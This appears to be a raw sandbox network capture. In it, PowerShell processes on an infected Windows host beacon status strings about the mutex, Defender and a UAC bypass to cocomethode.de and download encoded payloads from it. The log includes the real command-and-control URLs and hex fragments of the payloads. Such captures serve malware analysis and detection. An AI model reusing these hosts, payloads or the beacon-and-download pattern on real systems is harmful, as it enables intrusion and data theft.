2024-12-11 11:29:25 UTC	284	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae128a3f65230e6a08fc1c8a0132f7fe9 HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 86
2024-12-11 11:29:25 UTC	86	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 4d 75 74 65 78 20 69 73 20 6e 6f 74 20 6c 6f 63 6b 65 64 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 41 56 20 57 69 6e 64 6f 77 73 20 44 65 66 65 6e 64 65 72 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"Mutex is not locked\"", "\"AV Windows Defender\"", "----------"]
2024-12-11 11:29:25 UTC	1197	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:29:25 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=StERnX%2Btwm0TuzAYh41Osg7zwXyHhA314RmzXSlOoEW2mcwa3GANNTPROHT68YSt3FcQm137sXbg5ti7fFlaNjSuiG9A0MEPGcQmV4aUbN5DsoDQzwds7AD5JVLODi9XAAsgRNUl0nHX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=24468&min_rtt=1541&rtt_var=32018&sent=21&recv=23&lost=0&retrans=0&sent_bytes=7730&recv_bytes=8895&delivery_rate=2467605&cwnd=255&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f052305ad5cbfb6-ATL server-timing: cfL4;desc="?proto=TCP&rtt=61&min_rtt=45&rtt_var=20&sent=10&recv=12&lost=0&retrans=0&sent_bytes=21904&recv_bytes=2466&delivery_rate=1455177777&cwnd=95&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113725&min_rtt=113710&rtt_var=24010&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1030&delivery_rate=33675&cwnd=252&unsent_bytes=0&cid=564a332dd2dde487&ts=579&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.11.30	49745	172.67.128.139	443	8516	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:29:25 UTC	389	OUT	GET /file2/961e923217e6366fedc4ef058b135504177a85e5d4a3d3fefcd20dd6a4bae06bcd34fb5dbb1a738ebd5d59c383ddda7ae733b974b62b8e600a867205fe86acb615bbb394f676a9487f0a6d13dbf465585b805cd5c966e21c3b43adfc54fca65e29f108cd32057c0ab0de90b77ba7bdfc HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Connection: Keep-Alive
2024-12-11 11:29:26 UTC	1304	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:29:26 GMT Content-Type: application/octet-stream Content-Length: 4613 Connection: close content-disposition: attachment; filename=file; filename*=UTF-8''file CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8zM5gBiwwZGvSeZG5vVf6UzDmOu1mf%2BaMGnmGF38omRlAP2YR1WuP%2FYDj8ANgllROegDU6Cbh7DIBN7wribgs82EOfcrZbrQ0gmz2%2B%2BYrYxqCCILk95HbT1kAsXhFaaPdc4WTP5qo%2BhF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=13175&min_rtt=1483&rtt_var=19893&sent=12649&recv=5779&lost=0&retrans=0&sent_bytes=18104100&recv_bytes=62750&delivery_rate=47464913&cwnd=248&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f05230a5a4f44ea-ATL server-timing: cfL4;desc="?proto=TCP&rtt=50&min_rtt=50&rtt_var=20&sent=4&recv=6&lost=0&retrans=0&sent_bytes=986&recv_bytes=1470&delivery_rate=1190600000&cwnd=227&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=45&min_rtt=45&rtt_var=22&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=620&delivery_rate=0&cwnd=228&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:29:26 UTC	220	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 33 37 37 33 26 6d 69 6e 5f 72 74 74 3d 31 31 33 37 33 38 26 72 74 74 5f 76 61 72 3d 32 34 30 35 34 26 73 65 6e 74 3d 36 26 72 65 63 76 3d 38 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 33 35 26 72 65 63 76 5f 62 79 74 65 73 3d 31 30 30 33 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 33 33 36 32 37 26 63 77 6e 64 3d 32 35 32 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 34 63 33 35 62 30 61 30 39 66 30 34 64 66 31 65 26 74 73 3d 35 39 36 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=113773&min_rtt=113738&rtt_var=24054&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1003&delivery_rate=33627&cwnd=252&unsent_bytes=0&cid=4c35b0a09f04df1e&ts=596&x=0"
2024-12-11 11:29:26 UTC	1214	IN	Data Raw: 50 4b 03 04 14 00 08 00 08 00 17 7e 7c 59 00 00 00 00 00 00 00 00 00 00 00 00 0b 00 00 00 5f 72 65 6c 73 2f 2e 72 65 6c 73 8d 8f 3b 0e c2 30 10 44 af 62 6d 4f 36 50 20 84 e2 a4 41 48 69 a3 70 00 cb de 38 51 e2 8f 6c f3 bb 3d 2e 28 08 a2 a0 1c ed cc db 99 aa 79 98 85 dd 28 c4 c9 59 0e db a2 04 46 56 3a 35 59 cd e1 d2 9f 37 07 68 ea aa a3 45 a4 ec 88 e3 e4 23 cb 11 1b 39 8c 29 f9 23 62 94 23 19 11 0b e7 c9 e6 cb e0 82 11 29 cb a0 d1 0b 39 0b 4d b8 2b cb 3d 86 4f 06 ac 99 ac 17 41 53 e2 70 77 41 a1 72 f2 6a c8 a6 22 e3 80 b5 8a 83 9f 75 d7 aa dc ad 7f 7a fa e7 b3 1b 86 49 d2 e9 0d fa 51 e0 cb 01 0c eb 0a 57 33 eb 17 50 4b 07 08 4f 8b dd 3c a6 00 00 00 1c 01 00 00 50 4b 03 04 14 00 08 00 08 00 17 7e 7c 59 00 00 00 00 00 00 00 00 00 00 00 00 1c 00 00 00 77 6f Data Ascii: PK~\|Y_rels/.rels;0DbmO6P AHip8Ql=.(y(YFV:5Y7hE#9)#b#)9M+=OASpwArj"uzIQW3PKO<PK~\|Ywo
2024-12-11 11:29:26 UTC	1369	IN	Data Raw: c5 a9 f8 ca 9a b0 ae 58 85 f0 9e 0e d9 74 e7 e9 f0 72 03 d6 4b 17 df a2 b7 e7 bb e1 b6 dd cb 2b 6c 46 77 f1 59 7c 35 7c ef 38 f6 e3 be 12 da f6 5f 0c 4e 23 38 9c 2c b9 54 aa 9d b1 5f 4c 40 c1 28 c5 96 40 af d0 18 04 c9 12 a5 40 1d d6 f4 20 f5 8e c6 c1 1a a6 4e 60 f7 38 a7 fd 54 e2 4c 14 e0 24 bb 76 28 dc b0 a4 a8 84 97 f4 17 48 de c5 b2 f3 2e 70 f8 12 94 c4 c6 cc 34 5e d6 d8 22 c9 6c 96 95 47 b6 17 46 21 ed b1 aa 6a 8a e6 bc 01 27 ac 6c 68 d4 6c 2d 64 08 1e dd 64 45 b6 fa ad 50 62 c1 da 9e 0a 1b c5 5b 6c 8c 68 f5 52 10 4d 99 68 16 a0 87 0b 22 f8 c8 f8 91 c1 e4 d7 1d fb 13 37 d2 3b fe 36 75 47 56 35 68 53 08 45 46 82 63 f8 51 ea 69 65 82 03 34 48 4c 19 04 b2 e1 01 27 af 91 30 35 5b 05 fc 44 6f ae 4d dd 12 93 d6 5d 9c 4f 1c 06 f9 f8 43 ce 35 2b 16 fa a0 5e Data Ascii: XtrK+lFwY\|5\|8_N#8,T_L@(@@ N`8TL$v(H.p4^"lGF!j'lhl-ddEPb[lhRMh"7;6uGV5hSEFcQie4HL'05[DoM]OC5+^
2024-12-11 11:29:26 UTC	1369	IN	Data Raw: 31 ed d3 8d c9 63 54 98 39 56 66 4e b9 de d9 30 cb 86 d9 38 a4 3d 56 d5 f4 6e e8 a9 3d 96 bb 9a f9 32 83 f2 d8 a0 7c ab a7 25 34 c8 57 77 ff 0f 9d c5 fe ea 47 79 0f aa 18 26 9f 15 b4 c9 68 97 58 f6 70 99 7b b0 6c 1e 59 15 db 64 ba cb 74 37 0e 69 8f 55 b3 bc a1 c4 d1 37 31 71 34 13 5b 86 df f1 c3 f1 f1 64 00 1e 4b d9 c5 32 bb fd ce a2 58 c7 49 23 b0 b0 b1 7f 34 19 2c 26 3d 17 8f 64 71 c5 5d b5 77 87 49 d1 25 08 49 d4 76 98 15 9d 13 a0 bf 01 ec 67 69 67 4d f3 fb 6b 9a 79 9f d7 72 98 ff cc 15 7b cd 15 cf 71 d0 0c ca a7 a3 bf a5 02 1d a3 97 29 f9 8a a8 70 b7 cb b6 03 69 5a 4b 8e 9b 81 ba 42 87 74 c6 0e 28 95 aa 32 f5 69 5b ee b0 a8 85 af a0 8e 25 f0 07 bc 99 b9 2e 73 dd 38 a4 3d 56 b5 72 15 d2 b1 15 1d d7 1d d4 8b ce e7 c6 65 40 1e 1f 90 7b ff 6e 4b 19 cc 08 Data Ascii: 1cT9VfN08=Vn=2\|%4WwGy&hXp{lYdt7iU71q4[dK2XI#4,&=dq]wI%IvgigMkyr{q)piZKBt(2i[%.s8=Vre@{nK
2024-12-11 11:29:26 UTC	661	IN	Data Raw: c4 30 10 84 5f c5 72 8b 62 07 0a 84 50 92 2b f8 29 81 e2 78 00 63 6f 12 eb fc 27 af 73 dc bd 3d 9b 04 a5 40 48 08 e9 4a 7b 66 f6 1b ad b6 d9 9d bc 63 47 c8 68 63 68 f9 b5 a8 39 83 a0 a3 b1 61 68 f9 fb fe b9 ba e3 bb ae d9 9f 13 20 23 6b c0 96 8f a5 a4 7b 29 51 8f e0 15 8a 98 20 90 d2 c7 ec 55 a1 67 1e 64 52 fa a0 06 90 37 75 7d 2b 75 0c 05 42 a9 ca 3c 83 77 cd 23 f4 6a 72 85 3d 9d e8 7b c5 66 70 c8 d9 c3 6a 9c 59 2d 57 29 39 ab 55 21 5d 1e 83 f9 41 a9 be 09 82 92 8b 07 47 9b f0 8a 0c 9c c9 5f 11 8b f4 1f 42 ec 7b ab c1 44 3d 79 8a 88 cf 98 4d ca 51 03 22 ad c6 3b b1 29 5e d9 b0 91 5f 69 95 d9 1a 60 6f 2a 97 17 e5 89 23 e7 a8 0c 93 ff 80 4c 51 71 f1 26 db e8 bf 5b 60 39 3b c0 cb 57 58 e7 6e 7c b9 dc 4b f7 05 50 4b 07 08 ff 62 6b ba f3 00 00 00 5d 02 00 00 Data Ascii: 0_rbP+)xco's=@HJ{fcGhch9ah #k{)Q UgdR7u}+uB<w#jr={fpjY-W)9U!]AG_B{D=yMQ";)^_i`o*#LQq&[`9;WXn\|KPKbk]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.11.30	49746	172.67.128.139	443	4588	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:29:26 UTC	284	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae128a3f65230e6a08fc1c8a0132f7fe9 HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 62
2024-12-11 11:29:26 UTC	62	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 30 22 2c 0d 0a 20 20 20 20 22 5c 22 6b 6f 20 63 61 6e 20 62 79 70 61 73 73 20 75 61 63 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "0", "\"ko can bypass uac\"", "----------"]
2024-12-11 11:29:26 UTC	1204	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:29:26 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jYpP%2B4SO4rUPsS9MiQKWlBkNuVQOao7JqndDAmbe9bP9uRJaQHAXqsoY4jVvzFdWdcg01tUs7L5gZKtpFz9nt6DMc2XlS%2FeKun1nh5oD8kPBZzTD%2F%2Ba4eB%2BoiLdLMoRzJLmG6zKywXRO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=28794&min_rtt=1541&rtt_var=32665&sent=24&recv=26&lost=0&retrans=0&sent_bytes=8493&recv_bytes=9750&delivery_rate=2467605&cwnd=255&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f05230aece16782-ATL server-timing: cfL4;desc="?proto=TCP&rtt=45&min_rtt=43&rtt_var=12&sent=6&recv=8&lost=0&retrans=0&sent_bytes=22815&recv_bytes=1221&delivery_rate=1393255319&cwnd=228&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113758&min_rtt=113744&rtt_var=24011&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1006&delivery_rate=33665&cwnd=252&unsent_bytes=0&cid=1d6262c0c99137d3&ts=590&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.11.30	49750	172.67.128.139	443	8856	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:29:30 UTC	389	OUT	GET /file2/442d6d2bbbf95a0c2d98335c7cf12d9d4a2163bfd33f42547d8e2176349fc5bec999df77ed6fc10cd2b8f1bf6e1419afd1b8e652d60820a56f5d872b9832d58cfe65348bdb616db23e43f7972daf391f13bd6a69c891902807aad423627811c8e0d4aa7ee939d745201eed806ee979fa HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Connection: Keep-Alive
2024-12-11 11:29:30 UTC	1295	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:29:30 GMT Content-Type: application/octet-stream Content-Length: 12126 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vnofujLzNvkGwfWJWufImLidYfJqhO8hpPrpiuHens29jo%2BG1VOsiJKw93Je0wfQ1k67dsNP%2B7dO80yJDetJY6o%2BFE9wrtwmk2Ts5zpOWyUkLqdCZKJW2pfNR5Gsly6C6JT7ZsPQr%2Fv3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1200&min_rtt=1200&rtt_var=600&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=1035&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f052324ace46745-ATL server-timing: cfL4;desc="?proto=TCP&rtt=43&min_rtt=39&rtt_var=16&sent=9&recv=11&lost=0&retrans=0&sent_bytes=5902&recv_bytes=2796&delivery_rate=1336387755&cwnd=119&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=43&min_rtt=40&rtt_var=17&sent=6&recv=8&lost=0&retrans=0&sent_bytes=5323&recv_bytes=2130&delivery_rate=1283980392&cwnd=160&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:29:30 UTC	417	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 35 36 26 6d 69 6e 5f 72 74 74 3d 35 36 26 72 74 74 5f 76 61 72 3d 32 38 26 73 65 6e 74 3d 31 26 72 65 63 76 3d 33 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 72 65 63 76 5f 62 79 74 65 73 3d 36 32 30 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 30 26 63 77 6e 64 3d 32 34 39 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 26 74 73 3d 30 26 78 3d 30 22 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 33 36 34 31 26 6d 69 6e 5f 72 74 74 3d 31 31 Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=56&min_rtt=56&rtt_var=28&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=620&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"server-timing: cfL4;desc="?proto=TCP&rtt=113641&min_rtt=11
2024-12-11 11:29:30 UTC	1026	IN	Data Raw: 25 6c 6d 75 6f 72 67 74 66 67 66 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 55 32 62 76 52 31 6d 45 50 56 65 4b 53 33 79 75 52 31 4f 52 63 6c 4b 49 4e 56 6d 5b 57 32 62 33 54 6c 75 6e 53 30 4f 46 57 6a 71 55 57 6c 69 5b 54 57 4c 30 62 30 71 59 4f 56 34 6a 53 33 65 6f 55 47 65 6a 4c 44 6d 44 50 59 43 44 54 56 38 6f 52 54 4f 43 5b 33 57 32 4c 44 75 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 75 60 4c 6f 69 33 56 56 30 46 62 31 38 73 56 6a 6d 52 60 33 69 56 54 30 57 72 56 57 65 47 53 56 65 4d 64 6b 43 6f 52 56 6a 76 65 44 79 55 4c 49 53 4c 54 7b 43 31 55 47 4c 76 60 54 38 Data Ascii: %lmuorgtfgf<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof)#U2bvR1mEPVeKS3yuR1ORclKINVm[W2b3TlunS0OFWjqUWli[TWL0b0qYOV4jS3eoUGejLDmDPYCDTV8oRTOC[3W2LDuKP1GoRTOC[1mEPVu`Loi3VV0Fb18sVjmR`3iVT0WrVWeGSVeMdkCoRVjveDyULISLT{C1UGLv`T8
2024-12-11 11:29:30 UTC	1369	IN	Data Raw: 5b 6b 4c 30 47 6f 52 6a 69 4e 4c 46 4f 75 63 49 57 60 4c 44 71 33 56 6a 69 73 4f 31 53 53 63 33 65 4b 50 31 47 6f 52 6a 65 6a 62 33 48 78 52 6c 69 68 53 49 43 49 54 31 57 60 52 57 5b 57 63 44 71 59 53 6c 69 42 52 54 4f 7b 4e 54 6d 45 54 6f 71 6a 52 44 71 76 58 6c 30 6a 50 33 48 78 54 6b 57 51 65 7b 43 4d 52 54 4f 43 5b 31 6d 49 63 46 30 4d 50 30 4b 74 58 6a 62 34 60 57 6d 59 65 7b 5b 52 60 33 69 49 54 31 5b 56 52 6d 4f 56 60 47 6d 53 54 7b 57 7b 56 6d 62 30 63 6c 53 49 5b 33 65 4c 57 33 50 76 52 54 53 47 62 44 53 53 63 33 65 4b 50 31 47 6f 5b 59 62 76 52 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 69 6a 64 56 47 58 54 6c 79 4c 57 33 69 33 58 7b 4f 53 5b 31 6d 74 55 6c 79 68 63 57 47 6f 58 6a 62 34 63 6a 6d 70 62 31 34 45 60 54 47 6f 52 54 4f 43 5b 31 6d 45 50 Data Ascii: [kL0GoRjiNLFOucIW`LDq3VjisO1SSc3eKP1GoRjejb3HxRlihSICIT1W`RW[WcDqYSliBRTO{NTmEToqjRDqvXl0jP3HxTkWQe{CMRTOC[1mIcF0MP0KtXjb4`WmYe{[R`3iIT1[VRmOV`GmST{W{Vmb0clSI[3eLW3PvRTSGbDSSc3eKP1Go[YbvR1mEPVeKP1GoRTijdVGXTlyLW3i3X{OS[1mtUlyhcWGoXjb4cjmpb14E`TGoRTOC[1mEP
2024-12-11 11:29:30 UTC	1369	IN	Data Raw: 52 63 56 47 59 64 46 79 57 53 31 58 76 58 54 4f 4b 55 6a 4f 6f 4c 44 75 4b 50 31 47 6f 52 54 4f 4f 5b 30 57 75 57 6b 43 6a 56 44 71 30 52 54 69 52 63 30 71 55 50 6c 30 69 57 32 69 72 52 54 69 42 60 46 53 49 5b 31 34 45 60 54 47 6f 52 54 4f 42 64 57 71 58 54 6b 47 6b 63 55 53 6f 52 6a 65 60 62 46 4b 49 57 6d 47 5b 56 47 4b 77 53 47 47 76 4e 54 53 53 63 31 34 45 5b 7b 43 4d 57 6b 47 52 57 6d 5b 56 53 6a 6d 52 4c 49 69 51 57 44 4f 43 60 56 4f 74 57 6f 57 68 63 56 79 30 56 6f 6d 4b 4f 31 53 53 62 44 53 6b 63 57 5b 6e 5b 44 65 57 65 47 4b 59 4c 59 65 6a 52 46 79 57 56 6d 62 79 65 30 5b 49 57 6b 53 6a 53 57 71 76 58 6a 65 57 4f 31 53 53 63 31 34 45 5b 7b 43 4d 52 59 6d 42 53 46 47 49 57 6c 71 69 64 54 4b 76 56 6c 6d 42 56 46 47 59 4f 56 75 68 4c 33 53 37 52 54 Data Ascii: RcVGYdFyWS1XvXTOKUjOoLDuKP1GoRTOO[0WuWkCjVDq0RTiRc0qUPl0iW2irRTiB`FSI[14E`TGoRTOBdWqXTkGkcUSoRje`bFKIWmG[VGKwSGGvNTSSc14E[{CMWkGRWm[VSjmRLIiQWDOC`VOtWoWhcVy0VomKO1SSbDSkcW[n[DeWeGKYLYejRFyWVmbye0[IWkSjSWqvXjeWO1SSc14E[{CMRYmBSFGIWlqidTKvVlmBVFGYOVuhL3S7RT
2024-12-11 11:29:30 UTC	1369	IN	Data Raw: 63 56 79 30 56 6f 6d 43 65 47 71 58 53 56 65 4a 53 30 71 6e 58 6a 69 4e 63 44 75 55 50 6b 65 44 54 56 38 6f 52 54 4f 43 5b 30 58 79 54 6d 5b 56 57 6a 5b 4b 54 6b 43 35 55 30 53 45 50 56 6d 54 63 55 6a 76 52 54 5b 4a 4c 56 4b 75 4f 59 43 68 63 56 4f 6f 54 30 62 31 5b 33 53 49 60 49 43 6b 64 54 4b 72 58 6c 34 60 62 46 4f 75 4e 59 53 60 57 7b 54 76 52 56 62 76 52 31 6d 45 50 56 65 4b 53 30 58 31 58 57 69 53 4f 31 53 53 62 45 6d 44 54 56 38 4e 50 33 30 60 4c 56 4b 75 55 6b 43 69 57 7b 6d 30 52 54 57 4e 65 6c 4b 74 56 6c 79 6b 63 6d 47 31 54 6c 30 72 62 30 71 56 5b 49 43 6a 53 33 69 5b 58 6b 4f 4b 5b 33 57 32 4c 44 75 4b 50 31 47 6f 52 54 69 42 60 46 4f 75 53 6f 53 4b 50 33 65 4e 50 33 6d 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 57 7b 47 42 60 46 4f 75 53 6f 53 Data Ascii: cVy0VomCeGqXSVeJS0qnXjiNcDuUPkeDTV8oRTOC[0XyTm[VWj[KTkC5U0SEPVmTcUjvRT[JLVKuOYChcVOoT0b1[3SI`ICkdTKrXl4`bFOuNYS`W{TvRVbvR1mEPVeKS0X1XWiSO1SSbEmDTV8NP30`LVKuUkCiW{m0RTWNelKtVlykcmG1Tl0rb0qV[ICjS3i[XkOK[3W2LDuKP1GoRTiB`FOuSoSKP3eNP3mC[1mEPVeKP1GoW{GB`FOuSoS
2024-12-11 11:29:30 UTC	1369	IN	Data Raw: 30 71 55 50 6c 30 69 57 32 69 72 52 54 4f 52 52 6c 4b 74 50 6b 47 6a 53 57 71 76 58 6a 65 56 54 57 6d 58 54 6c 38 4b 52 46 53 6e 58 32 6d 42 65 33 4f 75 4e 56 71 60 56 44 34 37 56 6d 65 53 5b 30 6d 59 4f 56 75 4b 52 44 34 6e 5b 46 30 56 60 31 6d 49 53 6f 71 4b 50 30 4b 50 5b 47 69 52 65 33 53 58 54 6a 65 69 57 32 69 72 57 54 65 46 4c 46 47 45 52 54 34 45 60 54 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 6b 63 57 58 76 5b 47 69 4a 65 54 6d 45 54 6b 43 6b 63 6d 5b 72 53 47 47 77 5b 31 6d 45 50 56 65 6c 54 31 4b 70 56 57 69 52 60 6c 47 45 50 6b 65 44 54 56 38 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 53 6c 53 57 57 6d 5b 56 54 6d 4f 47 5b 44 30 54 60 32 65 6f 52 6a 58 35 65 57 4b 58 60 46 71 60 56 44 48 76 58 57 62 34 65 54 79 73 4c 56 79 6b 4c 31 34 6e 56 6b 4b 57 Data Ascii: 0qUPl0iW2irRTORRlKtPkGjSWqvXjeVTWmXTl8KRFSnX2mBe3OuNVq`VD47VmeS[0mYOVuKRD4n[F0V`1mISoqKP0KP[GiRe3SXTjeiW2irWTeFLFGERT4E`TGoRTOC[1mEPVekcWXv[GiJeTmETkCkcm[rSGGw[1mEPVelT1KpVWiR`lGEPkeDTV8oRTOC[1mEPVeKSlSWWm[VTmOG[D0T`2eoRjX5eWKX`Fq`VDHvXWb4eTysLVykL14nVkKW
2024-12-11 11:29:30 UTC	1369	IN	Data Raw: 47 6f 57 56 30 56 65 46 48 7b 56 6c 79 4c 57 56 76 76 56 6d 62 76 5b 31 79 56 50 6c 69 6a 53 33 65 6f 52 6a 65 52 63 46 4c 7b 54 6f 43 68 63 54 58 76 58 57 62 34 65 54 38 32 4c 44 75 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 48 4c 44 34 45 60 54 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 6c 71 5b 56 47 4b 70 58 54 69 7b 55 6a 4f 71 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 56 4c 57 4b 56 57 6d 5b 46 52 57 48 76 64 44 38 54 50 31 47 71 54 6c 30 72 62 30 71 55 50 6c 69 68 52 44 71 72 56 57 65 52 4f 54 6d 49 57 6b 53 69 56 44 35 76 58 32 6d 42 60 46 53 45 50 56 75 60 53 30 5b 37 5b 44 65 72 65 57 6d 58 54 6f 43 68 4c Data Ascii: GoWV0VeFH{VlyLWVvvVmbv[1yVPlijS3eoRjeRcFL{ToChcTXvXWb4eT82LDuKP1GoRTOC[1mEPVeKP1GoRTOC[1mHLD4E`TGoRTOC[1mEPVeKP1GoRTOC[1mEPlq[VGKpXTi{UjOqPVeKP1GoRTOC[1mEPVeKP1GoRTOC[1mEPVeVLWKVWm[FRWHvdD8TP1GqTl0rb0qUPlihRDqrVWeROTmIWkSiVD5vX2mB`FSEPVu`S0[7[DereWmXToChL
